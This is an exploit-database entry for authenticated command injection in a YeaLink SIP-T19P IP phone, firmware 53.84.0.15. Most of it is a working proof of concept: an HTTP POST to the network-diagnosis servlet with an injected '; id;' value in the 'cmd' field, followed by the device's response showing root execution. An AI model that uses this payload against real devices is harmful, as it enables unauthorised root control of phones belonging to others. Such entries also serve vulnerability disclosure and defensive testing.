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## https://sploitus.com/exploit?id=PACKETSTORM:164934
# Exploit Title: YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated)
# Date: 11-10-2021
# Exploit Author: tahaafarooq
# Vendor Homepage: https://www.yealink.com/
# Version: 53.84.0.15
# Tested on: YeaLink IP Phone SIP-T19P (Hadrware VOIP Phone)
Description:
Using Diagnostic tool from the Networking Tab to perform a Ping or Traceroute , to perform OS command injection
POC:
POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.890925468511929 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 49
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=9a83d24461329a130
Connection: close
cmd=; id;&token=1714636915c6acea98
-------------------------------------------------
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Date: Wed, 10 Nov 2021 14:20:23 GMT
Server: embed httpd
Content-Length: 82
<html>
<body>
<div id="_RES_INFO_">
uid=0(root) gid=0(root)
</div>
</body>
</html>